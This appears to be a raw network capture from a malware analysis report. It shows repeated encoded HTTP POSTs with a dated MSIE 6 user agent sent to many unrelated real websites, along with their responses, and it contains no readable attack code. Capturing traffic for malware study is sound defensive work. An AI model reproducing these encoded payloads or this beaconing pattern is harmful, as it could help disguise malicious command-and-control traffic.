2eybs2IGCzwYYql3jYpopUSc3jqMAqVSDNLY40oDkaKRNpjQTWNRM0Iy37jcoff5

I0yE1ssXozHSuwq/iEhuoxgDyR5Fro2Weeuik/K92tuKvL0EjwDarJ76ve7c0gp

oDSZp9IWA6LnvVk Ot80amQV3eNqDsCjELKWwjLAi6yUDVC/iBy1Qq9KzJaFAA==

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Microsoft-IIS/7.5

Set-Cookie: COOKIE=10.22.16.235.1437690342818470; path=/

Set-Cookie: referrer=; path=/

Set-Cookie: t=c150b280318911e5be065254004febd2; path=/

Set-Cookie: referrer=VVV.oreggia.com; path=/

Vary: Accept-Encoding,User-Agent

Cartoon: p3planlander06

Content-Type: text/html; charset=UTF-8

Age: 0

Transfer-Encoding: chunked

Connection: keep-alive

f..403 - Forbidden..0......

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.oreggia.com

Cache-Control: no-cache

Cookie: COOKIE=10.22.16.235.1437690342818470; referrer=VVV.oreggia.com; t=c150b280318911e5be065254004febd2

IYnG7 pRbUCIurTvzVh5EK1WGwoaoFrovnpov1nQFoP4JfidYzunoby20BZFN1jl

WPEgz8NuUdeo9qZxb4JZJZhwmpir5mmut3F5TTekJJA9 nqBQjFhTNBiZBQQWTbC

FNzXAX0PU1q9joeteHsSS06YxSx/F1pI axFCavcCnkaynEkdDpBaEK1smntSMNH

n5fJsBEmdn/1Q4CBodWJ0pmf9/yUaFkeqWev54uyPHW8rTDwLdLYpytEWx9eXNnf

7STUVOsWGbjOmqOEYKtoPbqyyqeRocDbYQ14cNnsxfTFyQO2nAoAUvAxcr/k0DSg

j5JTh9P/rVdMp3aDc1Zj7jS Yt1gNFZcNeJdyvT44ctFw6Dn2VhHgBDDid3FbRgD

2eybs2IGCzwYYql3jYpopUSc3jqMAqVSDNLY40oDkaKRNpjQTWNRM0Iy37jcoff5

I0yE1ssXozHSuwq/iEhuoxgDyR5Fro2Weeuik/K92tuKvL0EjwDarJ76ve7c0gp

oDSZp9IWA6LnvVk Ot80amQV3eNqDsCjELKWwjLAi6yUDVC/iBy1Qq9KzJaFAA==

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:43 GMT

Server: Microsoft-IIS/7.5

Set-Cookie: referrer=VVV.oreggia.com; path=/

Vary: Accept-Encoding,User-Agent

Cartoon: p3planlander05

Content-Type: text/html; charset=UTF-8

Age: 1

Transfer-Encoding: chunked

Connection: keep-alive

f..403 - Forbidden..0..HTTP/1.1 403 Forbidden..Date: Thu, 23 Jul 2015 22:25:43 GMT..Server: Microsoft-IIS/7.5..Set-Cookie: referrer=VVV.oreggia.com; path=/..Vary: Accept-Encoding,User-Agent..Cartoon: p3planlander05..Content-Type: text/html; charset=UTF-8..Age: 1..Transfer-Encoding: chunked..Connection: keep-alive..f..403 - Forbidden..0..

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 582

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.edimart.hu

Cache-Control: no-cache

t0zdjfJkMTy4xHheJX/L1PXGIpfCQ4D/RnprjWncy6ILpvHt/2832VUf/39gsNsj

uNFXZvB7mkesx4ws/lr/rTiYcs8eDLGBMxPAL1Bj6I7KnVoqtjDJmPGrczFtHZFy

3ym0ave8UL8xXBYSKw2Ip/N3BH2BkUtbWS0VPQMnpNfjUPNHgPh6iixB1ZD1EOCd

8OCXQM1IBj9t1tQ1hmOaFhEWo4eA2pdYvxN5yaDKwXW8rZFrOe9vJj/jfuQo9hqw

0/41Km9sayrw/z6E44kUcoyCCaZWWBBQwVlFMr0ZIfig2fjZPAlTzijT0e6OUILJ

FRHtY9coC6Ngb2hH8ZjF5dMAcyOOgUkP/9t3jsub9vYwxPjtxklU5PIjdNLNAxlb

lZAoDpo7jwGwJfyg3FhYgYDXN1pSjleff4 W7yjNBAdgZzz vJA4 SzjoU2WVc5o

1jXdryhyuBfwDKiooXKQA0flZtNnmnajNaP8Vq2F16Wc5/XS58GxYyKQ3rvrbgEW

t9ie9BjfVs46unWVi5vJG bIOAhVciImSG44Sks2gmLE6GpPZw==

HTTP/1.1 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:22 GMT

Server: Apache

Set-Cookie: PHPSESSID=dh4jl329eg3q1cb98g59ein0b3; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Location: hXXp://VVV.edimart.hu/en/

Content-Type: text/html; charset=utf-8

Content-Language: hu

X-Varnish: 509146788

Via: 1.1 varnish-v4

X-Age: 0

Transfer-Encoding: chunked

Connection: keep-alive

0..HTTP/1.1 301 Moved Permanently..Date: Thu, 23 Jul 2015 22:25:22 GMT..Server: Apache..Set-Cookie: PHPSESSID=dh4jl329eg3q1cb98g59ein0b3; path=/..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0..Pragma: no-cache..Location: hXXp://VVV.edimart.hu/en/..Content-Type: text/html; charset=utf-8..Content-Language: hu..X-Varnish: 509146788..Via: 1.1 varnish-v4..X-Age: 0..Transfer-Encoding: chunked..Connection: keep-alive..0..

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.com-sit.com

Cache-Control: no-cache

6cqx/zrDpzt3ilKf3flmLH3g6N2qs5tpDpmSJr4AQEIFQM0lbGVfyA8iWnE2bump

kb5sZZ1gdNOauyLVPxgEDkfKHmr9GW1F 5hu9TE9SWEMrEM/w2p/Up5a4SSvw2l0

/jiq6H/0pq2fYkFTDxsph6JCYTo65sdPDX9txNXe0NJveWLKU4HauA0p1lEdtOZt

2auChlrkNpHNxrQ9WrYfYOeTjJ1u9In5ke0d/LHfLcwv0XK2bAN4XLJqa3bvIuwX

4I4CliXQy5qk5jSd75Qpg23tELoSpMjksAdHgr0eFmyAyyu9lZx7wmd9SvYFxOY/

Lx9yPIe0bImQvL4jfSO6LjMPB/hpYZMneSWT3Btqb74bdE/zqhNBiP0hs7GrXoug

IrEnn53QsOf2Z/n/CiseAQWXA2 mPoSfT91n51n7/lJyHEqrqWpjBEaRPfCTzer4

hSp5mUFz8rcL8J05xX2crgyVznVn9/OJsKvv7Dw7XmWqLlB364Wjr7Ut0JpLgjO

PZfNL4a uT2tPKRqwMQnIfs=

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 21:58:08 GMT

Server: Apache/2.2.19 (FreeBSD) mod_ssl/2.2.19 OpenSSL/0.9.8q DAV/2 PHP/5.3.6 with Suhosin-Patch

Location: hXXp://VVV.com-sit.com/cgi-bin/shop?lang=ger

Content-Length: 228

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://VVV.com-sit.com/cgi-bin/shop?lang=ger">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 590

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.xatrix.net

Cache-Control: no-cache

nGS0JXRid0Dtt9g2zysNscfV4bJspDVg6GZChZaLBNmjk9WWYYa9x WnEuysFCTb

GdUv2R35Pks2IHk8bszjnQCEZJsBVVN/ZRJKJnllk7TPByYrySjUeXNa J/EyaBt

ITFJuF/nNN3gk/ZigWau5r1/w7rEHr72qA/HM4/R5ZLYCgbQZImycahbNP5YcPXK

0i s/MRjnF37RxV6Fyo2X9EVkeFrGrB5cUfR36WJR2MQunU/zIKsUwxGin3idvrd

PB9pelX8yRRbKtKQiZFFLrCSW0i2L2ESKQEMg4aUG4KVcI7zvyLCRxiv4pULcNL5

uD1b1cAD2m5gDGLnxfxoH4k0Gg9utU7dxbZzP1Odb8CK2YfkGJF5fy7krdlwNKi4

YWenIIs TEI48GbflI7v1hWyFV0N06d0gf 6fEXyzoTV6tAyofdqkUHfiypmhFZv

hILMCkKnvYnqAPqHPQy9DtoF0Sm52OoChJL9oeOlYlIT84Dsq3G2IFA8u3Fz39yZ

pP3Uru872D9NOCyzma0cxCVYUvnoiWlYenIgjBjfRZ5DtxwJA0Syud/2RIE=

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Apache

Location: hXXp://VVV.xatrix.org/

Content-Length: 206

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://VVV.xatrix.org/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.bossinst.com

Cache-Control: no-cache

jh/oCAXHXUXh1WXqLAz7jn5V1sHTlpQGCTQJ0j3CPGKBfwhumcAOCRaCGCtjlo9d

evfqK7oC8iWdVNFwI5mVh1rZGnye/bq7tL52GsGUuld5 aa0c03cV 5FVUDzlrZJ

LZKpC3A9Ztja4P8rLi2hdVxVqMJuOLWq9EHoT/TK7U4CelFVP5q8Hj/Qx mJA7Id

pru1aGT Hv1OwFnRjWjJgZih3tS1mbcvk42ObarmBCTjnk6nc14z4mUv93ig5BDv

Y0yj7R4DOdG8VR06OoRI97IxzFs8 k2EeEN0lEu TWyHtl4Reont27py9LbaPpBR

Zg7yix5af17j7k1kvPVjtov87WnytXaK7XmtSlJ63lrvo/gKF4ErYZVPjP9Lkhmv

NVYnXsa9JvOnOwzGc/lNYgG7DcKvfFzrgnVe9FCaUvZ2KJwjE8Xkmo4irXUDDLKr

b2YKgTTNTr1aOpUMyInHJDPHZ/Kn622pSyrG0CuUKP6yETn2iTiea1Gg2LeWXy1

FsKCp7Lci23SR8h8U2q0IxSJ/j1nCXQUJGS2Sz8qmxgAGdt8sWn5 Uj421LM30qo

Tg==

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Thu, 23 Jul 2015 22:26:05 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Set-Cookie: PHPSESSID=mf8huejsoh7gkt7nsiav2p5783; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Strict-Transport-Security: max-age=63072000; includeSubdomains; preload

X-Content-Type-Options: nosniff

41c8..<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "hXXp://VVV.w3.org/TR/html4/loose.dtd">.<html>.<head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> .<title>BOSS</title>.<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">.<link href="includes/stylesheet.css" rel="stylesheet" type="text/css" />.<script type="text/javascript" src="includes/swfobject.js"></script>..<script language=JavaScript src="includes/milonic_src.js" type=text/javascript></script>.<script language=JavaScript>. if(ns4)_d.write("<scr" "ipt language=JavaScript src=/includes/mmenuns4.js></scr" "ipt>");. else _d.write("<scr" "ipt language=JavaScript src=/includes/mmenudom.js></scr" "ipt>");.</script>.<script language=JavaScript src="includes/menu_data.js" type=text/javascript></script>. .<script type="text/javascript">..var fadeimages=new Array().fadeimages[0]=["images/rotate_2.jpg", "", ""].fadeimages[1]=["images/rotate_9.jpg", "", ""].fadeimages[2]=["images/rotate_3.jpg", "", ""].fadeimages[3]=["images/rotate_10.jpg", "", ""].fadeimages[4]=["images/rotate_5.jpg", "", ""] .fadeimages[5]=["images/rotate_6.jpg", "", ""] .fadeimages[6]=["images/rotate_7.jpg", "", ""] .var fadebgcolor="white"..var fadearray=new Array() //array to cache fadeshow instances.var fadeclear=new Array() //array to cache correspon

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 538

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.umcor.am

Cache-Control: no-cache

shijZe9isztNHBQUDjNNZ/hekkUFijkqk6HRg5oMapzl7XsCrdT 6Yhd3/2UM3So

K1D/ihElYof8hV6UcwP//A5YdXMO8u//ra1hAdLY/GkcejN5E8uFSOVqEqT6B01A

y4/gsEd6cAk5Os9prLiI0T/nRfn59IGVTkyPuqFqvHdFAK3aIMN0s/O7b/aMjMh0

5WswERGc4f/DngEXvvUSg6zTwtDYtSbuTKWXBeLFDeutrkRsBn98KgH9zZGeGSdm

uUrmeuAqx4ubEPuFDztOiCsSrOAK5JapC3d t Mdvc5xCt2enKvGkwffT SUAejl

KtX4g4q7dnQw24uwBdKoxhtRfS9ev/5C2TedgyRDwHU5I25Ey2bq2mq42R38Pq1i

elGU8r mBpiYjB12s3Et0YjdOG WTw9twThTk2RRiaqlAXPhmJQlvDDt8O4EET9P

xlIt8IAYgWJBmxultTCSGx4hb17Gbvm619ILk1Ip5xFVnMFnpDRWljzH9u1H Lnv

hWHfzRE=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:21:59 GMT

Server: Apache

Last-Modified: Fri, 06 Dec 2013 10:06:45 GMT

ETag: "21bff-62-4ecdacdc2184d"

Accept-Ranges: bytes

Content-Length: 98

Connection: close

Content-Type: text/html; charset=UTF-8

<html>. <head>. <meta HTTP-EQUIV="REFRESH" content="0; url=/mail/">. </head>.</html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 786432

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.royalmail.com

Cache-Control: no-cache

....~....

.xC...Y..rp......l.#...(.f.-...2.`.7..=.Z$B..:G.TQL..gQ.N~V...[.H.`...e.B.j...o.<.u...z.62...H..0_...u..*.......$....................)...@...V..m..................}.......

... ..q7...M..kd...z..e......_.......Y.....".S.'...,.ME1..[6.Gr;...@.A.E...J.;.O...T.5.Y..._./&d..<i.)Sn..is.#.x...}..........................4...J...a...w......|.......v.......p.......j ...A..dX...n..^.......X.......R.......L.."..F9...O..@f ..|%.:.*.../.4.4...9...>...D.(.I..0N."GS..]X..t]...b...g...l...q...v

.{......(...>...T..{k......u.......o.......i.......c....5..]L...b..Wy......Q.......K.......E.......?-...C..9Z...

.3.......-.......'.#...(.!....$3..;8..Q=..hB..~G...L...Q...V...[...`...f...k.z2p..Hu.t_z..u..n.......h.......b.......\....)..V@...V..Pm......J.......D.......>...

..8!...7..2N...d..,{......&....... .............../...E"..\'..r,...1...6...;...@...E.y.J...P.s&U..<Z.mS_..id.g.i...n.a.s...x.[.}.....U.......O4...J..Ia...w..C.......=.......7.......1.... .. B...X..%o.............................#...9...P..f...}..~..... .x.%...*.r./...5.l.:..0?.fGD..]I.`tN...S.Z.X...].T.b...g.N.l...r.H(w..>|.BU...k..<.......6.......0.......*.......$6...L...c...y..............................-...D..}Z...p..w.......q

.....k.......e....$$._;)..Q..Yh3..~8.S.=...B.M.G...L.G

HTTP/1.1 200 OK

Vary: Accept-Encoding

X-Referer:

Cache-Control:

Content-Type: text/html; charset=utf-8

Date: Thu, 23 Jul 2015 22:26:15 GMT

X-SourcePath: VVV.royalmail.com/

Keep-Alive: timeout=15, max=100

X-Time: 3.455849s

X-Cache-Rule: ZCacheNoSession1

Set-Cookie: seg_cookie=personal; path=/; domain=.royalmail.com

X-DC: DC1

X-SourceIP: 193.138.244.231

X-Frame-Options: SAMEORIGIN

Last-Modified: Thu, 23 Jul 2015 22:26:15 0000

X-Cache-Info: not cacheable; request wasn't a GET or HEAD

X-Rule: ServicesRewriteOLPService

X-Original-Host-Header: VVV.royalmail.com

Content-Length: 48168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN". "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml". lang="en". xml:lang="en". dir="ltr">.<head>.<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />. <title>Royal Mail | Royal Mail Group Ltd</title>. <meta http-equiv="Content-Style-Type" content="text/css"/>. <meta http-equiv="X-UA-Compatible" content="IE=edge"/>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.<link rel="shortcut icon" href="/sites/all/themes/royalmail2012/favicon.ico" type="image/x-icon" />.. <link rel="canonical" href="hXXp://VVV.royalmail.com"/>. <meta name="description" content="Royal Mail is the UK's most trustedHTTP/1.1 200 OK..Vary: Accept-Encoding..X-Referer: ..Cache-Control: ..Content-Type: text/html; charset=utf-8..Date: Thu, 23 Jul 2015 22:26:15 GMT..X-SourcePath: VVV.royalmail.com/..Keep-Alive: timeout=15, max=100..X-Time: 3.455849s..X-Cache-Rule: ZCacheNoSession1..Set-Cookie: seg_cookie=personal; path=/; domain=.royalmail.com..X-DC: DC1..X-SourceIP: 193.138.244.231..X-Frame-Options: SAMEORIGIN..Last-Modified: Thu, 23 Jul 2015 22:26:15 0000..X-Cache-Info: not cacheable; request wasn't a GET or HEAD..X-Rule: ServicesRewriteOLPService..X-Original-Host-Header: VVV.royalmail.com..Content-Length: 48168..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN". "hXXp://VVV.w3.org/TR

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 558

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.kiwicr.com

Cache-Control: no-cache

8l24YpeLLkASwFcGhjQprOCRPHrNc2cFuwCqTr8hnTkykAP1VHkqLQ/Gf0kdvRd4

yi4jA/zu8AyU8umMTFLpHphFeD8MvUOjUAm/CzyPEvhmtfLpNhPdd5sy13UUSaF

TxfHhr2pFp ap2op2w9oQ56two/uS NT4/WSfYyPVP2o3V0jQQ9VBFmKPbDwWpCW

gEXztjPlv0pLA1uwflxK3FY6xXfJpzvRMPXgpayQnM7UhY/cNr/CpBscbJgy/Sf

rt9n/5/t2jf9WfWJmgAr7ablOSq4dsI7E0O ZDRO2PWbrIKyh4/JZPM0WG7NoR74

AAnC3V3O f7Fk9WJk7pzHhAaM48kFcjKbRNnGbYiHQFkKYksNuFsWcHPQm0cUY o

UV9gW9PirTf7ApBrw5jxE QinMEdIrkMrt05by6OIlwsJ2oTLkEiXYvW/sJQxw7/

OAyFfOxCthqwjJhj3SAKPDKGZjaYNSbWMbZQ ZMKDvMIFfbRSYiGV3F6Z0d8byk

tclraJL/9hy 7uo49yeooiB8Tg==

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=utf-8

Location: hXXp://VVV.fls.ed.cr

Server: Microsoft-IIS/7.5

X-AspNetMvc-Version: 4.0

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:25:39 GMT

Content-Length: 137

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 558

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.kiwicr.com

Cache-Control: no-cache

8l24YpeLLkASwFcGhjQprOCRPHrNc2cFuwCqTr8hnTkykAP1VHkqLQ/Gf0kdvRd4

yi4jA/zu8AyU8umMTFLpHphFeD8MvUOjUAm/CzyPEvhmtfLpNhPdd5sy13UUSaF

TxfHhr2pFp ap2op2w9oQ56two/uS NT4/WSfYyPVP2o3V0jQQ9VBFmKPbDwWpCW

gEXztjPlv0pLA1uwflxK3FY6xXfJpzvRMPXgpayQnM7UhY/cNr/CpBscbJgy/Sf

rt9n/5/t2jf9WfWJmgAr7ablOSq4dsI7E0O ZDRO2PWbrIKyh4/JZPM0WG7NoR74

AAnC3V3O f7Fk9WJk7pzHhAaM48kFcjKbRNnGbYiHQFkKYksNuFsWcHPQm0cUY o

UV9gW9PirTf7ApBrw5jxE QinMEdIrkMrt05by6OIlwsJ2oTLkEiXYvW/sJQxw7/

OAyFfOxCthqwjJhj3SAKPDKGZjaYNSbWMbZQ ZMKDvMIFfbRSYiGV3F6Z0d8byk

tclraJL/9hy 7uo49yeooiB8Tg==

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=utf-8

Location: hXXp://VVV.fls.ed.cr

Server: Microsoft-IIS/7.5

X-AspNetMvc-Version: 4.0

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:25:39 GMT

Content-Length: 137

<html><head><title>Object moved</title></head><body>..<h2>Object moved to <a href="hXXp://VVV.fls.ed.cr">here</a>.</h2>..</body></html>..HTTP/1.1 302 Found..Cache-Control: private..Content-Type: text/html; charset=utf-8..Location: hXXp://VVV.fls.ed.cr..Server: Microsoft-IIS/7.5..X-AspNetMvc-Version: 4.0..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 23 Jul 2015 22:25:39 GMT..Content-Length: 137..<html><head><title>Object moved</title></head><body>..<h2>Object moved to <a href="hXXp://VVV.fls.ed.cr">here</a>.</h2>..</body></html>....

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 546

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.tndha.org

Cache-Control: no-cache

WQloZdTPiTu9YtEJr/nwdieOWp5MXZUKSPLEbZWmA/v1qoWYc/dwdU8JVoL3xZx7

rkRDtJmPypEHdPcYqp6NAj6EAOEj8pOjtNiZ9KYfnOzkjYe23U0dwxSnh1cpC88j

0xxL/x6wMdJPvZJfOAA61RCy8KcGF0uESCs 5q0y/tmvdWNScRqg/i/dlf0qBy/c

lQowU9N/ksYKtQsGIwQnkjUeMpkj8zTBDsDwT27V/FRzw87JRA3FWgKkScnlrtva

FpMm34uXaiVUuSWq7LFsAj2EgKwMpgpVZi4L9iO81Ktkda7haQHRsFB2Zed1YvQK

G4YmfkdFw9mix6xfUQK1cM/qGEJDHzGUwzF mwVcJwznQO3TD1yee3NMlxH/fasK

ZHt8C dMYGukcsJoABvo9IJfQf3jIWXbSW15G5DuBbNOCAbnEx5 nG1QKbXHv/tL

23G0qq4L1guV3Wa7YFHa5dzrNaCJW8NHwABXUBMNXTs02wumZq3mwsdQy3/qaaLJ

mg7gS hQqa4GJA==

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:20 GMT

Server: Apache

X-Powered-By: PHP/5.5.18

X-Pingback: hXXp://tndha.org/xmlrpc.php

Link: <hXXp://tndha.org/>; rel=shortlink

Set-Cookie: wfvt_2890496850=55b169d09f09d; expires=Thu, 23-Jul-2015 22:55:20 GMT; Max-Age=1800; path=/; httponly

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

1df9..<!DOCTYPE html>.<html lang="en-US">.<head>.<meta charset="UTF-8" />.<title>Tennessee Dental Hygienists Association | Defining our Future, Embracing our Present, Celebrating our Past 1913-2013</title>.<link rel="profile" href="hXXp://gmpg.org/xfn/11" />.<link rel="stylesheet" type="text/css" media="all" href="hXXp://tndha.org/wp-content/themes/twentyten/style.css" />.<link rel="pingback" href="hXXp://tndha.org/xmlrpc.php" />.<link rel="alternate" type="application/rss xml" title="Tennessee Dental Hygienists Association » Feed" href="hXXp://tndha.org/feed/" />.<link rel="alternate" type="application/rss xml" title="Tennessee Dental Hygienists Association » Comments Feed" href="http://tndha.org/comments/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"http:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/tndha.org\/wp-includes\/js\/wp-emoji-release.min.js"}};....!function(a,b,c){function d(a){var c=b.createElement("canvas"),d=c.getContext&&c.getContext("2d");return d&&d.fillText?(d.textBaseline="top",d.font="600 32px Arial","flag"===a?(d.fillText(String.fromCharCode(55356,56812,55356,56807),0,0),c.toDataURL().length>3e3):(d.fillText(String.fromCharCode(55357,56835),0,0),0!==d.getImageData(16,16,1,1).data[0])):!1}function e(a){var c=b.createElement("script");c.src=a,c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var f,g

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 608

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.walltodo.com

Cache-Control: no-cache

KDd5mHXf3kAFxSgk3Oo1J267V5cD8Jz7edMlQE1cBP5zc2XPqcwQ8VK7R/xdxsCF

NYU9l3d5lSVi7xWUQoh4r4MPljqTD4S7bwQW6gyNWhp6JmiYtG4OkoRvtkffQMOi

F4R SLJZEi0aP6CNPYtIFlV vH62R/LyX2IZ6dMjQNeCciP212BATH6eE6Woujh

gKuk38h NYMQrzYhi4OhPbfcf3UrFEkvka7acHxQwjCMzuliVMr/BBKarDE/bllT

rOIvLoKkRCAkeuiKJct82OaJYXm6pox2BXE0wyPXL0FCkDC2to6vXOb 8eAE36cm

zfLZ1nkgljsF7WUOyOq6YflhbWbJuhDnbH/BybmnyDulZtu/atJzIZXdTh9NaNnb

3e1g zDtNLv1 QnphhJVDTt9TrNiUIkBizGtqOOWmmburxiFYCq3Ogx48aNKw0QE

2ufhRNKzx7aalLD2kuvCpnMWVmDfqYv1/yJomYK5ytLckVoyzJH4ftsNOqAqcljk

pzha/ldRaJwVa5zzBDZYoHnhdshrsMTEaYVTzokQki37nyY7 twlfJyPLveTKnEz

ma62MrJECHKo

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:44 GMT

Server: Apache

X-Powered-By: PHP/5.2.14

Content-Length: 0

Connection: close

Content-Type: text/html

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 542

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.fbchh.org

Cache-Control: no-cache

5 5ab7ziTt1r6VAiQgcB6Fbiox KMs/0nfaweYcds VatTkTFByJriCWRsWgf4b

c N6oKHpAc6sy7yqs83tjBrEwE9V0wF9Iu3xpyPgHpPZQMeJ5nD5jQoTjL/Y9gH3

8OkujK10L3HgTPB0kxOK3LQE1WnK2aNm9xLyq3EbarA0EDnCNEvGFBF0lEpJ8 cP

stH0bV3fjJMPsujDZ0Y UII1pfowgrVPbNeSI6VqBm38p5S5Rx94a8p/YPOSLoEs

brkBzYuik uzHHcc585YtHIOSV7CPV7RQhtwEIRcSHAkHcJKNWRqhJynEDT7gBc4

uPPdTkdOtrc23en1GJGz0hV1TzCl4EIgS oSIRu1f3bYdL7yHBDYsgTFlCK9t1l6

NO8lA6BMa3qkyX2gTg22D1t/PInrlZmxnBWG9FyzPhNtH/6qTPEVEAAMf213am 1

w5t0XUt/ZLu4Bp/HyoE6Exz6w8qs422cEVFel2OUMlBfJ/75MlRbXJUOVO4pGAmu

GZsfylWjqA==

HTTP/1.1 403 Forbidden

Server: Sucuri/Cloudproxy

Date: Thu, 23 Jul 2015 22:25:21 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

100c..<!DOCTYPE html>.<html lang="en">.<head>.<meta charset=utf-8>.<title>Sucuri WebSite Firewall - CloudProxy - Access Denied</title>.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta name="author" content="sucuri.net" />.<link rel="stylesheet" type="text/css" href="https://cdn.sucuri.net/sucuri-cloudproxy-block.css" media="screen" />..<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>.<script src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js" type="text/javascript"></script>.<link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/jquery-ui.css" type="text/css" media="screen" />...<script type="text/javascript">.jQuery(function($){. $('.open-twofactorauth-popup').click(function(e){. e.preventDefault();. $('.overlap').show();. });.. $('.overlap .overlap-close').click(function(e){. e.preventDefault();. $('.overlap').hide();. }).});.</script>..<script type="text/javascript">. WebFontConfig = {. google: { families: [ 'Open Sans:400italic,600italic,800italic,400,700:latin' ] }. };. (function() {. var wf = document.createElement('script');. wf.src = ('https:' == document.location.protocol ? 'https' : 'http') . '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';. wf.type = 'text/javascript';. wf.async = 'true';. var s

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 558

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.gfmcorp.com

Cache-Control: no-cache

qCv8z4x3xzt0Gp3e983da59mlCdka30ygPn/8LQDTjW9raoHq0l7YlRpepm8hXKQ

iEWBOCsYj0I2OypmbJFHtTeVlpVtTDvJpAilU8G0qX MlBUWxj4NSq3vb7TIDneH

